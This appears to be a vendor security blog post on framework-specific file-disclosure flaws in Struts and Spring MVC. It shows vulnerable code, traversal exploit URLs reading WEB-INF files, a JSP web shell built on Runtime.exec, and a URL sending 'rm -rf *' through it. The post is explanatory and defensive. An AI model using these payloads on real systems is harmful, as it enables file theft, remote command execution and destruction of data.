Last week you learned about some of the more advanced
features in SCA and how they are used to support and identify vulnerabilities
in application frameworks. We also discussed dataflow analysis. But dataflow
analysis is not sufficient to adequately cover application frameworks. One has
to look at the application framework with a discerning eye and identify
vulnerabilities in the framework which are specific to the use of that
framework. This week we will shift gears and start looking at framework specific
vulnerabilities.
Framework Specific Vulnerabilities (Error Prone APIs)
Framework specific vulnerabilities relate to coding
constructs or security holes which are created by well meaning developers
(usually in the name of productivity enhancements) which allow a new and .
Struts 2 has the following: over exposed request bound objects, inconsistent
model on the value-stack, value-stack shadowing, file upload DOS, file
disclosure, blended threats, default stack vulnerabilities, under inclusive
exception handling, exposed *Aware interfaces, exposed methods (most privilege),
framework specific race conditions, OGNL script injection, and file download
vulnerabilities.
I obviously cannot go through all of the vulnerabilities
identified above but let’s look at framework specific file disclosure.
Framework Specific File Disclosure
Framework specific file disclosure is a vulnerability where
an attacker can download any file that is part of the application, remotely or
execute files are the server remotely. The files that are downloadable are
configuration files (web.xml, applicationContext.xml, default.properties,
etc.), jar files (any jar files in the WEB-INF/lib directory), and class files
(any class under the /WEB-INF/classes directory). It was originally discovered
in a constructor argument to Spring MVC’s ModelAndView(…) object by Ryan Berg
and Dinis Cruz (http://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf).
Ryan and Dinis had discovered this vulnerability in the Spring MVC framework
but this is a serious vulnerability which exists in many MVC frameworks. Here
is what the vulnerability looks like across different frameworks:
//Struts 1.x given
you are in an Action method …
String dest =
request.getParameter(“url”);
return
ActionForward(dest);
//Struts 2.x which
is a bit more complicated because it includes the
//configuration file
below
Public class
ProcessOrderAction {
Private String dest;
//public getter and
setters omitted
…
//Struts 2.x
configuration file
<action
name=”ProcessOrder_*” method=”{1}” class=”ProcessOrderAction” >
<result
name=”success”> ${dest} </result>
…
Or
<%-- in a Struts JSP page --%>
<s:include value=”${param.dest}” />
Or
<%-- in a JEE JSP
page --%>
<jsp:include
page=”${param.dest}” />
<jsp:forward
page=”${param.dest}” />
Or
//Spring 3 annotated
method
@RequestMapping
(“/processOrder”)
public String
processMyOrder(@RequestParam String dest, @RequestParam String id,
@ModelAttribute Order order) {
…
return dest;
Or
//In a servlet
String dest =
request.getParameter(“dest”);
RequestDispatcher rd
= request.getRequestDispatcher(dest);
rd.forward(req,
res);
I could go on and on but you get my drift.
To exploit this vulnerability you can either pass in the
full path to the file you want or utilize path parameters.
When the dest is directly being used you can pass in:
http://www.yourserver.com/webApp/logic?dest=/WEB-INF/web.xml
In other cases you may need to pass in
http://www.yourserver.com/webApp/logic?dest=forward:/WEB-INF/web.xml
and finally you may need to pass in
http://www.yourserver.com/webApp/logic?dest=../WEB-INF/web.xml;test=
this is due to the funny way Spring MVC resolves views.
If you return a string from a @RequestMapped method it will
pass the string to an InternalResourceViewResolver. A typical view
resolver is configured as follows:
<bean
id="viewResolver"
class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/jsp/"/>
<property name="suffix" value=".jsp"/>
</bean>
The way this works is that the string returned from a
request mapped method is pre-pended with the prefix and post-pended with the
suffix. So if “processOrder” is returned from:
//Spring 3 annotated
method
@RequestMapping
(“/processOrder”)
public String
processMyOrder(@RequestParam String dest, @RequestParam String id,
@ModelAttribute Order order) {
…
return “processOrder”;
…
Then the request is forwarded to “/WEB-INF/jsp/processOrder.jsp”.
To subvert the prefix and suffix the attacker can use path
parameters. Path parameters are parameters passed in after the “;” (semicolon)
in a URL.
So the attacker can return “../web.xml;test=x” which will
forward the request to:
/WEB-INF/jsp/../web.xml;test=x.jsp
This request returns the web.xml file in the browser and
test=x.jsp is treated as a path parameter.
If you see the following and think you are safe then you
would be wrong depending on the app server you are running:
return new
ActionForward(“/WEB-INF/jsp/someFile.jsp?param=” +
req.getParameter(“input”)
);
Normally an attacker would not be able to exploit this as a
file disclosure but if the application was running on certain versions of
tomcat an attacker could still successfully carry out the file disclosure
attack even if only appending a request parameter value.
According to CVE-2008-2370, “Apache Tomcat 4.1.0 through
4.1.37, 5.5.0 through 5.5.26, and 6.0.0 through 6.0.16, when a
RequestDispatcher is used, performs path normalization before removing the
query string from the URI, which allows remote attackers to conduct directory
traversal attacks and read arbitrary files via a .. (dot dot) in a request
parameter.”
So the attacker could pass in “/../../web.xml” and the
web.xml would be displayed as the URL would look like the following:
/WEB-INF/jsp/someFile.jsp?param=/../../web.xml
Which gets canonicalized down to:
/WEB-INF/web.xml
But you may say, “What is the big deal if I reveal some
configuration files especially if there is no confidential data in them.”
There are two reasons why the file disclosure is especially bad: 1. The
attacker can download your intellectual property including class files and jar
files within your application. 2. This attack can be combined with a file
upload vulnerability (as a server side blended attack) to allow an attacker to
execute arbitrary system level commands.
The book, Struts 2 Design and Programming: A Tutorial by
Budi Kurniawan provide a file upload example code similar to the following:
public class
FileUploadAction extends ActionSupport {
private
File attachment;
private
String attachmentFileName;
private
String attachmentContentType;
public
String upload() throws Exception {
ServletContext
sc = ServletActionContext.getServletContext();
String
uploadDir = sc.getRealPath(“/WEB-INF”);
uploadedDir
= uploadedDir + “/uploadedFiles”;
File
savedFile = new File(uploadedDir, attachmentFileName);
Attachment.renameTo(savedFile);
}
I tried getting “..\” into the attachmentFileName without
success because the “..” were getting filtered by the Apache Commons File
Upload component. So if we assume that you could NOT do a path manipulation
attack, why is this code important to the file disclosure vulnerability?
…
What if an attacker could upload a JSP file with the following
body:
// From body of
commandProxy.jsp
<%
Runtime rt =
Runtime.getRuntime();
rt.exec(request.getParameter(“osCommand”));
%>
Then the attacker could use the file disclosure
vulnerability in the following way.
http://www.yourserver.com/webApp/logic?dest=/WEB-INF/uploadedFiles/commandProxy.jsp?osCommand=rm%20–rf%20*
The attacker now has the ability to pown your server.
Conclusion
I have only scratched the surface as to researching and
exploiting application frameworks. All of the vulnerabilities I described above
can be found with the static analysis rules I described above. I hope I
highlighted why you can count on Fortify to cover application frameworks and
gave you insight into how we work. Some of the rule scripting techniques I
described are currently only supported for internal use, however plans are in
the works to expand the custom rules documentation to put the power of rules
scripting into your hands. Once you see what you can do with custom rules and
scripting, prepare yourself to be amazed.